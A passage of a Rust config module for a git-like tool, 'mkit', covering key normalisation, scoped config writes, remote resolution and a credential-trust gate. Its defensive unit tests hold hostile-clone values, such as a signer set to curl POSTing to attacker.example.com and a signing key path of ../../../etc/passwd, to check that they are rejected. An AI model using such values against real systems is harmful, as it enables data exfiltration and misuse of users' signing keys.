818        .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
819}
820
821/// If `key` is `core.<x>` (section matched case-insensitively) with `<x>` an
822/// allowlisted inert key, return the canonical lowercase suffix. git lowercases
823/// both the section and the variable name, so `Core.AutoCRLF` → `autocrlf`.
824#[must_use]
825pub fn core_allowed_suffix(key: &str) -> Option<String> {
826    let (section, name) = key.split_once('.')?;
827    if !section.eq_ignore_ascii_case("core") {
828        return None;
829    }
830    let suffix = name.to_ascii_lowercase();
831    CORE_ALLOWED_KEYS
832        .contains(&suffix.as_str())
833        .then_some(suffix)
834}
835
836/// Canonicalize a config key's case the way git does: the **section** and
837/// **variable** names are case-insensitive (lowercased), but the
838/// **subsection** — the middle segment of a `<section>.<subsection>.<var>`
839/// key, e.g. the `<name>` in `remote.<name>.url` or the `<branch>` in
840/// `branch.<branch>.remote` — is **case-sensitive** and preserved verbatim.
841///
842/// Two-segment keys (`user.name`, `core.autocrlf`, …) have no subsection,
843/// so both halves are lowercased. The split mirrors `apply_section_kv`'s
844/// `splitn(3, '.')`, so the canonical form round-trips through it.
845#[must_use]
846pub fn normalize_config_key(key: &str) -> String {
847    // git's key model: the FIRST `.` separates the section, the LAST `.`
848    // separates the variable, and everything between is the (case-sensitive)
849    // subsection — which may itself contain dots (`remote.a.b.url` →
850    // subsection `a.b`, variable `url`). Section + variable are lowercased;
851    // the subsection is preserved verbatim.
852    match key.split_once('.') {
853        Some((section, rest)) => match rest.rsplit_once('.') {
854            Some((subsection, variable)) => format!(
855                "{}.{subsection}.{}",
856                section.to_ascii_lowercase(),
857                variable.to_ascii_lowercase()
858            ),
859            None => format!(
860                "{}.{}",
861                section.to_ascii_lowercase(),
862                rest.to_ascii_lowercase()
863            ),
864        },
865        None => key.to_ascii_lowercase(),
866    }
867}
868
869/// Apply a `<section>.<name>.<field>` key (named remotes, branch
870/// upstreams). Returns `true` if the key matched a known section/field
871/// (regardless of whether the name validated), so the caller's match
872/// arm can treat it as handled.
873fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
874    let mut parts = key.splitn(3, '.');
875    let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
876    else {
877        return false;
878    };
879    // Only flat, ref-safe names (no further dots) are accepted.
880    let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name(name);
881    match (section, field) {
882        ("remote", "url") => {
883            if valid_name {
884                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
885            }
886            true
887        }
888        ("remote", "type") => {
889            if valid_name {
890                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
891            }
892            true
893        }
894        ("branch", "remote") => {
895            if valid_name {
896                val.clone_into(
897                    &mut cfg
898                        .branch_upstreams
899                        .entry(name.to_owned())
900                        .or_default()
901                        .remote,
902                );
903            }
904            true
905        }
906        ("branch", "merge") => {
907            if valid_name {
908                val.clone_into(
909                    &mut cfg
910                        .branch_upstreams
911                        .entry(name.to_owned())
912                        .or_default()
913                        .branch,
914                );
915            }
916            true
917        }
918        _ => false,
919    }
920}
921
922/// Write the given `Config` to `<root>/.mkit/config`. Only repo-scoped
923/// (non-forbidden) fields are emitted; security-sensitive fields live
924/// in the user-scoped file and must be written there explicitly.
925///
926/// **Contract:** `cfg` MUST be a repo-scoped config — either
927/// [`read_layered`]`(root).repo` for a read-modify-write, or a freshly
928/// built [`Config`] (e.g. on `clone`). NEVER pass a merged config
929/// ([`read_or_default`] / [`read_layered`]`.merged`): this serializer
930/// emits repo-safe fields such as `user.name` / `user.email`, so a
931/// user-scoped value would be materialized into the clone-traveling
932/// `.mkit/config` (a privacy/scope leak). Callers that need the effective
933/// (merged) value for *reads* should use it only for reads.
934pub fn write(layout: &RepoLayout, cfg: &Config) -> Result<(), ConfigError> {
935    let path = layout.config_file();
936    if let Some(parent) = path.parent() {
937        fs::create_dir_all(parent)?;
938    }
939    // Only repo-safe keys are emitted. Anything in `REPO_FORBIDDEN_KEYS`
940    // is explicitly NOT serialised to `<repo>/.mkit/config` — it lives
941    // in `$XDG_CONFIG_HOME/mkit/config` via `write_user_kv`. Note
942    // `attest.{signer,default_algorithm}` are forbidden too because
943    // they're the *selectors* that weaponise a user-scoped external
944    // signer or non-Ed25519 key path against attacker-chosen content.
945    let mut out = String::new();
946    for (k, v) in [
947        // `user.name`/`user.email` are repo-safe git-compat aliases
948        // (non-authoritative — they never feed the signed author).
949        ("user.name", cfg.user_name.as_str()),
950        ("user.email", cfg.user_email.as_str()),
951        ("default_branch", cfg.default_branch.as_str()),
952        ("durability.objects", cfg.durability_objects.as_str()),
953        ("remote_endpoint", cfg.remote_endpoint.as_str()),
954        ("remote_bucket", cfg.remote_bucket.as_str()),
955        ("remote_type", cfg.remote_type.as_str()),
956        ("transport_auth", cfg.transport_auth.as_str()),
957    ] {
958        if !v.is_empty() {
959            out.push_str(k);
960            out.push_str(" = ");
961            out.push_str(v);
962            out.push('\n');
963        }
964    }
965    // Named remotes (`remote.<name>.url` / `.type`). BTreeMap iteration
966    // is sorted, so output is deterministic. `writeln!` into a `String`
967    // is infallible.
968    for (name, entry) in &cfg.remotes {
969        if !entry.url.is_empty() {
970            let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
971        }
972        if !entry.remote_type.is_empty() {
973            let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
974        }
975    }
976    // Per-branch upstream tracking (`branch.<b>.remote` / `.merge`).
977    for (branch, up) in &cfg.branch_upstreams {
978        if !up.remote.is_empty() {
979            let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
980        }
981        if !up.branch.is_empty() {
982            let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
983        }
984    }
985    // Inert git-compat `core.*` keys — repo-safe (mkit never acts on them).
986    for (k, v) in &cfg.core {
987        let _ = writeln!(out, "core.{k} = {v}");
988    }
989    // Atomic replace: write to a sibling temp file then rename over the
990    // target so a crash mid-write can never leave a truncated config
991    // (which would silently drop remotes / upstream tracking). The temp
992    // file shares the destination directory so the rename stays on one
993    // filesystem.
994    let dir = path.parent().unwrap_or_else(|| Path::new("."));
995    let mut tmp = tempfile::Builder::new()
996        .prefix(".config.")
997        .tempfile_in(dir)?;
998    tmp.write_all(out.as_bytes())?;
999    tmp.flush()?;
1000    tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
1001    Ok(())
1002}
1003
1004/// The implicit name of the legacy flat `remote_endpoint` /
1005/// `remote_type` remote.
1006pub const DEFAULT_REMOTE_NAME: &str = "default";
1007
1008/// A resolved remote: its endpoint URL plus whether the repo-scoped
1009/// config selected it (`repo_chosen`), which the #97 credential gate
1010/// keys on. Returned by [`resolve_remote`].
1011#[derive(Debug, Clone, PartialEq, Eq)]
1012pub struct ResolvedRemote {
1013    pub name: String,
1014    pub endpoint: String,
1015    pub repo_chosen: bool,
1016}
1017
1018/// Resolve a remote NAME to its endpoint + provenance.
1019///
1020/// - `default` (or an empty name): the flat `remote_endpoint`; chosen by
1021///   the repo iff the repo layer set it.
1022/// - any other name: a `remote.<name>.url` entry. Named remotes are
1023///   stored repo-scoped, so a named remote present in the repo layer is
1024///   `repo_chosen`; one present only in the user layer is not.
1025///
1026/// Returns `None` when the name is unknown / its URL is empty.
1027#[must_use]
1028pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
1029    let name = if name.is_empty() {
1030        DEFAULT_REMOTE_NAME
1031    } else {
1032        name
1033    };
1034    if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
1035        let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
1036        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1037        return Some(ResolvedRemote {
1038            name: DEFAULT_REMOTE_NAME.to_owned(),
1039            endpoint,
1040            repo_chosen,
1041        });
1042    }
1043    let entry = cfg.merged.remotes.get(name)?;
1044    let endpoint = entry.url.trim();
1045    if endpoint.is_empty() {
1046        return None;
1047    }
1048    let repo_chosen = cfg
1049        .repo
1050        .remotes
1051        .get(name)
1052        .is_some_and(|e| e.url.trim() == endpoint);
1053    Some(ResolvedRemote {
1054        name: name.to_owned(),
1055        endpoint: endpoint.to_owned(),
1056        repo_chosen,
1057    })
1058}
1059
1060/// Every remote name resolvable via [`resolve_remote`]: the flat
1061/// `default` remote (when the flat `remote_endpoint` is set) plus every
1062/// named `remote.<name>.url` entry. Sorted and deduplicated (a
1063/// `BTreeSet` cannot contain a name twice), which is what makes `fetch
1064/// --all` / `pull --all`'s iteration order deterministic. Used by
1065/// `mkit fetch --all` / `mkit pull --all` to enumerate the remotes to
1066/// sync in one invocation.
1067#[must_use]
1068pub fn configured_remote_names(cfg: &LayeredConfig) -> Vec<String> {
1069    let mut names: std::collections::BTreeSet<String> =
1070        cfg.merged.remotes.keys().cloned().collect();
1071    if !cfg.merged.remote_endpoint.trim().is_empty() {
1072        names.insert(DEFAULT_REMOTE_NAME.to_owned());
1073    }
1074    names.into_iter().collect()
1075}
1076
1077/// Resolve the upstream (remote name, remote branch) for a local branch.
1078/// Falls back to the `default` remote tracking the same-named branch
1079/// when no explicit `branch.<b>.{remote,merge}` is configured *and* a
1080/// default remote exists.
1081#[must_use]
1082pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
1083    if let Some(up) = cfg.merged.branch_upstreams.get(branch)
1084        && !up.remote.is_empty()
1085        && !up.branch.is_empty()
1086    {
1087        return Some(up.clone());
1088    }
1089    // Implicit fallback: a configured default remote tracks the
1090    // same-named branch. Only offered when a default endpoint exists so
1091    // callers can still produce an actionable "no upstream" error.
1092    if !cfg.merged.remote_endpoint.trim().is_empty() {
1093        return Some(Upstream {
1094            remote: DEFAULT_REMOTE_NAME.to_owned(),
1095            branch: branch.to_owned(),
1096        });
1097    }
1098    None
1099}
1100
1101/// Real-environment getter used by the runtime credential gate: reads
1102/// the named environment variable, treating an empty value as absent.
1103fn real_getenv(name: &str) -> Option<String> {
1104    std::env::var(name).ok().filter(|value| !value.is_empty())
1105}
1106
1107/// Refuse to use ambient HTTP/S3 environment credentials with a
1108/// repo-configured endpoint unless the user has explicitly trusted that
1109/// exact remote in user-scoped config.
1110///
1111/// Retained as the back-compat entry point for the flat single-remote
1112/// `remote_endpoint`. New, per-endpoint callers (named remotes, the
1113/// shared transport-dispatch choke point) should use
1114/// [`endpoint_credential_trust`], which is keyed on an explicit
1115/// `repo_chosen` provenance flag rather than re-deriving it from the
1116/// flat field.
1117pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
1118    let endpoint = cfg.merged.remote_endpoint.trim();
1119    let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1120    match trusted_remote_error_for(
1121        endpoint,
1122        repo_chosen,
1123        cfg.user.trusted_remote_endpoint.trim(),
1124        &real_getenv,
1125    ) {
1126        Some(msg) => Err(msg),
1127        None => Ok(()),
1128    }
1129}
1130
1131/// Per-endpoint credential trust check for the shared dispatch choke
1132/// point ([`crate::remote_dispatch::open_trusted`]) and named-remote
1133/// callers. `repo_chosen` is `true` when the endpoint was selected by
1134/// the repo-scoped config (the flat `remote_endpoint` or a
1135/// `remote.<name>.url` entry), `false` when it was supplied by the user
1136/// (user-scoped config or an explicit CLI argument). Trust is keyed on
1137/// the resolved ENDPOINT plus this provenance, never on a remote name.
1138pub fn endpoint_credential_trust(
1139    cfg: &LayeredConfig,
1140    endpoint: &str,
1141    repo_chosen: bool,
1142) -> Result<(), String> {
1143    match trusted_remote_error_for(
1144        endpoint.trim(),
1145        repo_chosen,
1146        cfg.user.trusted_remote_endpoint.trim(),
1147        &real_getenv,
1148    ) {
1149        Some(msg) => Err(msg),
1150        None => Ok(()),
1151    }
1152}
1153
1154/// Core gate, keyed on an explicit endpoint + provenance rather than a
1155/// `LayeredConfig`. Returns `Some(error)` when ambient HTTP/S3
1156/// credentials would be attached to a repo-chosen endpoint that the
1157/// user has not explicitly trusted.
1158///
1159/// * `endpoint` — the resolved, already-trimmed remote URL.
1160/// * `repo_chosen` — whether the repo-scoped config selected this
1161///   endpoint (the only case the gate fences; a user-chosen endpoint is
1162///   the user's own decision).
1163/// * `user_trusted` — the trimmed user-scoped `trusted_remote_endpoint`.
1164/// * `getenv` — credential probe (injected for tests).
1165fn trusted_remote_error_for<F>(
1166    endpoint: &str,
1167    repo_chosen: bool,
1168    user_trusted: &str,
1169    getenv: &F,
1170) -> Option<String>
1171where
1172    F: Fn(&str) -> Option<String>,
1173{
1174    if endpoint.is_empty() || !repo_chosen {
1175        return None;
1176    }
1177    if user_trusted == endpoint {
1178        return None;
1179    }
1180
1181    if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
1182        if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
1183            return Some(format!(
1184                "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1185                mkit_transport_http::TOKEN_ENV,
1186                user_config_path().display()
1187            ));
1188        }
1189        return None;
1190    }
1191
1192    if endpoint.starts_with("mkit+s3://")
1193        && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1194            || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1195    {
1196        return Some(format!(
1197            "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1198            user_config_path().display()
1199        ));
1200    }
1201
1202    None
1203}
1204
1205/// Write a single user-scoped key/value to `$XDG_CONFIG_HOME/mkit/config`.
1206/// Reads the existing file (if any), updates the matching line (or
1207/// appends), and writes back. Caller is responsible for validating
1208/// `value` (control bytes, key-path traversal).
1209pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1210    // Normalize so the written line and the case-insensitive match below use
1211    // git's canonical form, regardless of how the caller spelled the key.
1212    let key = normalize_config_key(key);
1213    let key = key.as_str();
1214    let path = user_config_path();
1215    if let Some(parent) = path.parent() {
1216        fs::create_dir_all(parent)?;
1217    }
1218    let existing = fs::read_to_string(&path).unwrap_or_default();
1219    let mut out = String::new();
1220    let mut replaced = false;
1221    for raw_line in existing.lines() {
1222        let line = raw_line.trim();
1223        if line.is_empty() || line.starts_with('#') {
1224            out.push_str(raw_line);
1225            out.push('\n');
1226            continue;
1227        }
1228        // Match existing lines case-insensitively (like reads), so a
1229        // mixed-case duplicate of the same key is updated/normalized rather
1230        // than left behind to shadow the canonical line. `key` is already
1231        // normalized by the caller.
1232        if let Some((k, _)) = line.split_once('=')
1233            && normalize_config_key(k.trim()) == key
1234        {
1235            out.push_str(key);
1236            out.push_str(" = ");
1237            out.push_str(value);
1238            out.push('\n');
1239            replaced = true;
1240            continue;
1241        }
1242        out.push_str(raw_line);
1243        out.push('\n');
1244    }
1245    if !replaced {
1246        out.push_str(key);
1247        out.push_str(" = ");
1248        out.push_str(value);
1249        out.push('\n');
1250    }
1251    // Atomic temp + fsync + rename so a crash mid-write can't leave the
1252    // security-sensitive user config half-written (#223). A reader either
1253    // sees the old contents or the fully-updated file, never a torn one.
1254    write_atomic_user_config(&path, out.as_bytes())?;
1255    Ok(())
1256}
1257
1258/// Remove a single user-scoped key from `$XDG_CONFIG_HOME/mkit/config`,
1259/// mirroring [`write_user_kv`]'s read-modify-write-atomically shape but
1260/// dropping the matching line instead of replacing it. Returns `true`
1261/// iff a matching line was found and removed (a no-op unset — the key
1262/// was already absent — returns `false` rather than erroring, so
1263/// `mkit config --unset` on an already-unset key is idempotent).
1264pub fn remove_user_kv(key: &str) -> Result<bool, ConfigError> {
1265    let key = normalize_config_key(key);
1266    let key = key.as_str();
1267    let path = user_config_path();
1268    let existing = match fs::read_to_string(&path) {
1269        Ok(s) => s,
1270        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(false),
1271        Err(e) => return Err(ConfigError::Io(e)),
1272    };
1273    let mut out = String::new();
1274    let mut removed = false;
1275    for raw_line in existing.lines() {
1276        let line = raw_line.trim();
1277        if line.is_empty() || line.starts_with('#') {
1278            out.push_str(raw_line);
1279            out.push('\n');
1280            continue;
1281        }
1282        if let Some((k, _)) = line.split_once('=')
1283            && normalize_config_key(k.trim()) == key
1284        {
1285            removed = true;
1286            continue;
1287        }
1288        out.push_str(raw_line);
1289        out.push('\n');
1290    }
1291    if removed {
1292        write_atomic_user_config(&path, out.as_bytes())?;
1293    }
1294    Ok(removed)
1295}
1296
1297/// Atomically write `bytes` to `path`: write into a sibling temp file,
1298/// fsync it, then rename over the destination. Mirrors the key-save
1299/// path's temp+rename hardening.
1300fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1301    use tempfile::NamedTempFile;
1302    let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1303        io::ErrorKind::InvalidInput,
1304        "user config path has no parent",
1305    )))?;
1306    let mut tmp = NamedTempFile::new_in(parent)?;
1307    tmp.as_file_mut().write_all(bytes)?;
1308    tmp.as_file_mut().sync_all()?;
1309    tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1310    Ok(())
1311}
1312
1313/// Expand a user-typed `user.identity` into the canonical hex form
1314/// `[kind:u8][len:u16 LE][bytes]`. See `docs/CLI.md`.
1315pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1316    if value.is_empty() {
1317        return Err(ConfigError::InvalidUserIdentity("empty value"));
1318    }
1319    if let Some(hex) = value.strip_prefix("ed25519:") {
1320        if hex.len() != 64 {
1321            return Err(ConfigError::InvalidUserIdentity(
1322                "ed25519:<hex> must have 64 hex chars",
1323            ));
1324        }
1325        let bytes =
1326            hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1327        return Ok(encode_identity_hex(0x01, &bytes));
1328    }
1329    if let Some(dec) = value.strip_prefix("mid:") {
1330        let mid: u64 = dec
1331            .parse()
1332            .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1333        return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1334    }
1335    if !value.len().is_multiple_of(2) || value.len() < 6 {
1336        return Err(ConfigError::InvalidUserIdentity(
1337            "raw hex is too short or has odd length",
1338        ));
1339    }
1340    let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1341        "raw value is not valid hex",
1342    ))?;
1343    let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1344    if bytes.len() != usize::from(declared) + 3 {
1345        return Err(ConfigError::InvalidUserIdentity(
1346            "declared length does not match payload length",
1347        ));
1348    }
1349    Ok(value.to_owned())
1350}
1351
1352fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1353    let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
1354    let mut buf = Vec::with_capacity(3 + bytes.len());
1355    buf.push(kind);
1356    buf.extend_from_slice(&len.to_le_bytes());
1357    buf.extend_from_slice(bytes);
1358    hex_encode(&buf)
1359}
1360
1361fn hex_encode(bytes: &[u8]) -> String {
1362    static H: &[u8; 16] = b"0123456789abcdef";
1363    let mut s = String::with_capacity(bytes.len() * 2);
1364    for b in bytes {
1365        s.push(H[(b >> 4) as usize] as char);
1366        s.push(H[(b & 0x0F) as usize] as char);
1367    }
1368    s
1369}
1370
1371fn hex_decode(s: &str) -> Option<Vec<u8>> {
1372    if !s.len().is_multiple_of(2) {
1373        return None;
1374    }
1375    let mut out = Vec::with_capacity(s.len() / 2);
1376    let b = s.as_bytes();
1377    for i in (0..b.len()).step_by(2) {
1378        let hi = nibble(b[i])?;
1379        let lo = nibble(b[i + 1])?;
1380        out.push((hi << 4) | lo);
1381    }
1382    Some(out)
1383}
1384
1385fn nibble(c: u8) -> Option<u8> {
1386    Some(match c {
1387        b'0'..=b'9' => c - b'0',
1388        b'a'..=b'f' => 10 + c - b'a',
1389        b'A'..=b'F' => 10 + c - b'A',
1390        _ => return None,
1391    })
1392}
1393
1394/// XDG base-dir resolvers — fall back to `$HOME/.config` / `.local`.
1395fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1396    if let Some(v) = std::env::var_os(var)
1397        && !v.is_empty()
1398    {
1399        return PathBuf::from(v);
1400    }
1401    if let Some(home) = std::env::var_os("HOME") {
1402        return PathBuf::from(home).join(fallback_under_home);
1403    }
1404    PathBuf::from(".")
1405}
1406
1407#[must_use]
1408pub fn xdg_config_home() -> PathBuf {
1409    xdg("XDG_CONFIG_HOME", ".config")
1410}
1411
1412#[cfg(test)]
1413mod tests {
1414    use super::*;
1415    use mkit_core::layout::RepoLayout;
1416    use tempfile::TempDir;
1417
1418    #[test]
1419    fn normalize_config_key_casing() {
1420        // Two-segment keys: section + variable both lowercased.
1421        assert_eq!(normalize_config_key("User.Name"), "user.name");
1422        assert_eq!(normalize_config_key("Core.AutoCRLF"), "core.autocrlf");
1423        assert_eq!(normalize_config_key("user.identity"), "user.identity");
1424        // Three-segment keys: section + variable lowercased, subsection kept.
1425        assert_eq!(
1426            normalize_config_key("remote.Origin.url"),
1427            "remote.Origin.url"
1428        );
1429        assert_eq!(
1430            normalize_config_key("Remote.Origin.URL"),
1431            "remote.Origin.url"
1432        );
1433        assert_eq!(
1434            normalize_config_key("branch.Release.remote"),
1435            "branch.Release.remote"
1436        );
1437        // 4+ segments: FIRST dot is the section, LAST dot is the variable;
1438        // everything between is a (case-preserved) subsection that may itself
1439        // contain dots — matching git (not `splitn(3)`, which would lump
1440        // `URL.X` into the variable).
1441        assert_eq!(normalize_config_key("Remote.A.B.URL"), "remote.A.B.url");
1442        assert_eq!(
1443            normalize_config_key("HTTP.https://Ex.com/.SSLVerify"),
1444            "http.https://Ex.com/.sslverify"
1445        );
1446        // No dot: lowercased.
1447        assert_eq!(normalize_config_key("Foo"), "foo");
1448    }
1449
1450    #[test]
1451    fn config_file_preserves_subsection_case() {
1452        // A `remote.<Name>.url` written to the config file must reload with
1453        // the subsection case intact (git treats subsections case-sensitively),
1454        // so named remotes survive a round-trip.
1455        let dir = TempDir::new().unwrap();
1456        std::fs::create_dir_all(dir.path().join(".mkit")).unwrap();
1457        std::fs::write(
1458            dir.path().join(".mkit/config"),
1459            "remote.Origin.url = mkit+file:///tmp/x\nremote.Origin.type = file\n",
1460        )
1461        .unwrap();
1462        let cfg = read_or_default(&RepoLayout::single(dir.path())).unwrap();
1463        assert!(
1464            cfg.remotes.contains_key("Origin"),
1465            "subsection case lost on reload: {:?}",
1466            cfg.remotes.keys().collect::<Vec<_>>()
1467        );
1468        assert!(!cfg.remotes.contains_key("origin"));
1469    }
1470
1471    #[test]
1472    fn durability_objects_key_selects_sync_policy() {
1473        // The SPEC-OBJECTS §10.1 escape hatch must be reachable from
1474        // config: `per-object` selects the strict schedule, everything
1475        // else (unset, "batch", junk) falls back to the batched default.
1476        let mut cfg = Config::with_defaults();
1477        assert_eq!(
1478            cfg.object_sync_policy(),
1479            mkit_core::store::SyncPolicy::Batch
1480        );
1481        apply_kv(&mut cfg, "durability.objects", "per-object");
1482        assert_eq!(
1483            cfg.object_sync_policy(),
1484            mkit_core::store::SyncPolicy::PerObject
1485        );
1486        // Round-trips through the repo-config writer.
1487        let dir = tempfile::tempdir().unwrap();
1488        write(&RepoLayout::single(dir.path()), &cfg).unwrap();
1489        let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1490        assert!(text.contains("durability.objects = per-object"));
1491        apply_kv(&mut cfg, "durability.objects", "bogus");
1492        assert_eq!(
1493            cfg.object_sync_policy(),
1494            mkit_core::store::SyncPolicy::Batch
1495        );
1496    }
1497
1498    /// Tests drive `apply_file` directly rather than mutating
1499    /// `XDG_CONFIG_HOME` — the env-var dance races other tests and
1500    /// trips the `disallowed-methods` clippy lint we configured.
1501    fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1502        let td = TempDir::new().unwrap();
1503        let mut cfg = Config::with_defaults();
1504        if let Some(text) = user_text {
1505            let upath = td.path().join("user_config");
1506            fs::write(&upath, text).unwrap();
1507            apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1508        }
1509        if let Some(text) = repo_text {
1510            let rpath = td.path().join("repo_config");
1511            fs::write(&rpath, text).unwrap();
1512            apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1513        }
1514        cfg
1515    }
1516
1517    fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1518        let td = TempDir::new().unwrap();
1519        let user_path = td.path().join("user_config");
1520        let repo_path = td.path().join("repo_config");
1521        if let Some(text) = user_text {
1522            fs::write(&user_path, text).unwrap();
1523        }
1524        if let Some(text) = repo_text {
1525            fs::write(&repo_path, text).unwrap();
1526        }
1527        let mut merged = Config::with_defaults();
1528        apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1529        apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1530        let mut user = Config::default();
1531        let mut repo = Config::default();
1532        apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1533        apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
1534        LayeredConfig { merged, user, repo }
1535    }
1536
1537    #[test]
1538    fn read_default_when_missing() {
1539        let td = TempDir::new().unwrap();
1540        // No user config file at the canonical XDG path either —
1541        // `read_or_default` accepts that and falls through to defaults.
1542        let cfg = Config::with_defaults();
1543        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1544        assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1545        assert!(cfg.remote_endpoint.is_empty());
1546        // Sanity: read_or_default on a fresh empty repo dir never
1547        // panics or errors.
1548        let _ = read_or_default(&RepoLayout::single(td.path())).unwrap();
1549    }
1550
1551    #[test]
1552    fn roundtrip_repo_safe_keys() {
1553        let cfg = layer(
1554            Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1555            None,
1556        );
1557        assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1558        assert_eq!(cfg.remote_type, "file");
1559    }
1560
1561    #[test]
1562    fn write_does_not_emit_forbidden_repo_keys() {
1563        let td = TempDir::new().unwrap();
1564        fs::create_dir_all(td.path().join(".mkit")).unwrap();
1565        let mut cfg = Config::with_defaults();
1566        cfg.user_identity = "01200011".into();
1567        cfg.signing_key = "/should/not/be/written".into();
1568        cfg.signer = "keystore".into();
1569        cfg.key.backend = "software".into();
1570        cfg.key.default_ref = "software:attacker".into();
1571        cfg.ssh_strict_host_key_checking = "no".into();
1572        cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1573        write(&RepoLayout::single(td.path()), &cfg).unwrap();
1574        let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1575        assert!(!on_disk.contains("user.identity"));
1576        assert!(!on_disk.contains("signing_key"));
1577        assert!(!on_disk.contains("signer"));
1578        assert!(!on_disk.contains("key.default_ref"));
1579        assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1580        assert!(!on_disk.contains("external_signer_path"));
1581    }
1582
1583    #[test]
1584    fn repo_signing_key_is_rejected_with_warning() {
1585        // Hostile-clone scenario: `.mkit/config` tries to redirect the
1586        // signing key. After the partition fix, the value MUST NOT be
1587        // applied — it falls back to the built-in default.
1588        let cfg = layer(
1589            Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1590            None,
1591        );
1592        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1593        assert_eq!(cfg.remote_type, "file");
1594    }
1595
1596    #[test]
1597    fn repo_user_identity_is_rejected() {
1598        let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1599        assert!(cfg.user_identity.is_empty());
1600    }
1601
1602    #[test]
1603    fn repo_trusted_remote_endpoint_is_rejected() {
1604        let cfg = layer(
1605            Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1606            None,
1607        );
1608        assert!(cfg.trusted_remote_endpoint.is_empty());
1609    }
1610
1611    #[test]
1612    fn repo_external_signer_is_rejected() {
1613        let cfg = layer(
1614            Some(
1615                "attest.external_signer_path = /usr/bin/curl\n\
1616                 attest.external_signer_args = -X|POST|attacker.example.com\n\
1617                 attest.signer = external\n",
1618            ),
1619            None,
1620        );
1621        assert!(cfg.attest.external_signer_path.is_empty());
1622        assert!(cfg.attest.external_signer_args.is_empty());
1623        // `attest.signer` is also forbidden from per-repo: even though
1624        // the path itself is user-scoped, letting the per-repo file
1625        // SELECT the external signer is enough to weaponise a
1626        // user-trusted binary against attacker-chosen content. Same
1627        // confused-deputy shape as the C2 finding closed for
1628        // `signing_key`, just routed through the selector.
1629        assert_eq!(cfg.attest.signer, "");
1630    }
1631
1632    /// User has set up a legitimate external HSM signer in their
1633    /// user-scoped config (path + args). A hostile clone ships a
1634    /// per-repo `attest.signer = external` to flip the selector and
1635    /// have the user's HSM sign the clone's commit. After this fix,
1636    /// the per-repo selector is dropped with a stderr warning and
1637    /// the user's `repo-key` default holds.
1638    #[test]
1639    fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1640        let cfg = layer(
1641            Some("attest.signer = external\n"),
1642            Some(
1643                "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1644                 attest.external_signer_args = sign\n",
1645            ),
1646        );
1647        // User's path stays, BUT the repo-supplied selector that
1648        // would route signing through that path is rejected. The
1649        // signer falls back to `repo-key` (the default).
1650        assert_eq!(
1651            cfg.attest.external_signer_path,
1652            "/home/user/bin/yubikey-sign"
1653        );
1654        assert_eq!(cfg.attest.signer, "");
1655        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1656    }
1657
1658    /// Companion: hostile clone tries to flip
